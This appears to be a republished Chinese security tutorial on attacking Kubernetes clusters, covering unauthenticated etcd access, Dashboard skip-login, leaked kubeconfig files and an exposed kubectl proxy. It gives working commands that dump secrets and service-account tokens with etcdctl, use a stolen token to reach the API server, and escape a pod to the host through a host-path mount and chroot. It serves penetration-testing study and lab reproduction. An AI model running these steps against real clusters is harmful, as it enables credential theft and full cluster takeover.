云原生-K8s安全-etcd未授權(quán)訪問
如上圖所示:etcd服務(wù)是運行在master節(jié)點上的,master節(jié)點上查看該服務(wù)默認通過證書認證,主要存放節(jié)點的數(shù)據(jù),如一些token和證書。當然,初始安全情況下,該服務(wù)是安全的(2379不對外開放,本地可訪問),下面三種主要是配置問題
三種攻擊2379端口方式
配置文件:/etc/kubernetes/manifests/etcd.yaml
注釋掉或者改為false,重啟k8s服務(wù)
systemctl restart kubelet.service
V2版本利用:
直接訪問http://ip:2379/v2/keys/?recursive=true ,
可以看到所有的key-value值。(secrets token)如圖表示對方api版本是V3版本,目前V2版本已經(jīng)很少見了
使用etcd-v3.4.27工具進行連接利用
第一種:沒有配置指定–client-cert-auth 參數(shù)打開證書校驗,暴露在外Etcd服務(wù)存在未授權(quán)訪問風險。
-暴露外部可以訪問,直接未授權(quán)訪問獲取secrets和token利用直接使用工具進行連接報錯,因為從上方web訪問可以看出是需要https證書
復(fù)現(xiàn)搭建:
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
安裝etcdctl:
https://github.com/etcd-io/etcd/releases
安裝kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
第二種:在打開證書校驗選項后,通過本地127.0.0.1:2379可免認證訪問Etcd服務(wù),但通過其他地址訪問要攜帶cert進行認證訪問,一般配合ssrf或其他利用,較為雞肋。
-只能本地訪問,直接未授權(quán)訪問獲取secrets和token利用
第三種:實戰(zhàn)中在安裝k8s默認的配置2379只會監(jiān)聽本地,如果訪問沒設(shè)置0.0.0.0暴露,那么也就意味著最多就是本地訪問,不能公網(wǎng)訪問,只能配合ssrf或其他。
-只能本地訪問,利用ssrf或其他進行獲取secrets和token利用
*復(fù)現(xiàn)利用:
*暴露etcd未授權(quán)->獲取secrets&token->通過token訪問API-Server接管
*SSRF解決限制訪問->獲取secrets&token->通過token訪問API-Server接管
*V2/V3版本利用參考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html
利用參考:
https://www.wangan.com/p/7fy7f81f02d9563a
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
V3版本利用:
1、連接提交測試
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 “Hello world1”
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 “Hello world2”
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 “Hello world3”
2、獲取k8s的secrets:
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/
3、讀取service account token:
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通過token訪問API-Server,獲取集群的權(quán)限:
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“ey…” -n kube-system get pods
云原生-K8s安全-Dashboard未授權(quán)訪問
默認端口:8001
配置不當導(dǎo)致dashboard未授權(quán)訪問,通過dashboard我們可以控制整個集群。
kubernetes dashboard的未授權(quán)其實分兩種情況:
一種是在本身就存在著不需要登錄的http接口,但接口本身并不會暴露出來,如接口被暴露在外,就會導(dǎo)致dashboard未授權(quán)。另外一種情況則是開發(fā)嫌登錄麻煩,修改了配置文件,使得安全接口https的dashboard頁面可以跳過登錄。
*復(fù)現(xiàn)利用:
*用戶開啟enable-skip-login時可以在登錄界面點擊跳過登錄進dashboard
*Kubernetes-dashboard綁定cluster-admin(擁有管理集群的最高權(quán)限)
1、安裝:https://blog.csdn.net/justlpf/article/details/130718774
2、啟動:kubectl create -f recommended.yaml
3、卸載:kubectl delete -f recommended.yaml
4、查看:kubectl get pod,svc -n kubernetes-dashboard
5、利用:新增Pod后續(xù)同前面利用一致
搭建環(huán)境太麻煩了
正常情況下Dashboard如圖:有漏洞的情況下:(沒搭建出來……)
點擊跳過直接進入控制面板利用流程:找到暴露面板->dashboard跳過-創(chuàng)建或上傳pod->進入pod執(zhí)行-利用掛載逃逸
云原生-K8s安全-Configfile鑒權(quán)文件泄漏
攻擊者通過Webshell、Github等拿到了K8s配置的Config文件,操作集群,從而接管所有容器。K8s configfile作為K8s集群的管理憑證,其中包含有關(guān)K8s集群的詳細信息(API Server、登錄憑證)。如果攻擊者能夠訪問到此文件(如辦公網(wǎng)員工機器入侵、泄露到Github的代碼等),就可以直接通過API Server接管K8s集群,帶來風險隱患。用戶憑證保存在kubeconfig文件中,通過以下順序來找到kubeconfig文件:
-如果提供了–kubeconfig參數(shù),就使用提供的kubeconfig文件
-如果沒有提供–kubeconfig參數(shù),但設(shè)置了環(huán)境變量$KUBECONFIG,則使用該環(huán)境變量提供的kubeconfig文件
-如果以上兩種情況都沒有,kubectl就使用默認的kubeconfig文件~/.kube/config
*復(fù)現(xiàn)利用:
*K8s-configfile->創(chuàng)建Pod/掛載主機路徑->Kubectl進入容器->利用掛載逃逸
1、將獲取到的config復(fù)制
2、安裝kubectl使用config連接
安裝:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
連接:kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
3、上傳利用test.yaml創(chuàng)建pod
kubectl apply -f test.yaml -n default --kubeconfig=config
4、連接pod后進行容器掛載逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash
云原生-K8s安全-Kubectl Proxy不安全配置
當運維人員需要某個環(huán)境暴露端口或者IP時,會用到Kubectl Proxy
使用kubectl proxy命令就可以使API server監(jiān)聽在本地的xxxx端口上
環(huán)境搭建:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
*復(fù)現(xiàn)利用:
*類似某個不需認證的服務(wù)應(yīng)用只能本地訪問被代理出去后形成了外部攻擊入口點。
*找到暴露入口點,根據(jù)類型選擇合適方案文章來源:http://www.zghlxwxcb.cn/news/detail-721647.html
kubectl -s http://10.10.10.167:8009 get pods -n kube-system
文章來源地址http://www.zghlxwxcb.cn/news/detail-721647.html
到了這里,關(guān)于云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存儲&Dashboard鑒權(quán)&Proxy暴露的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!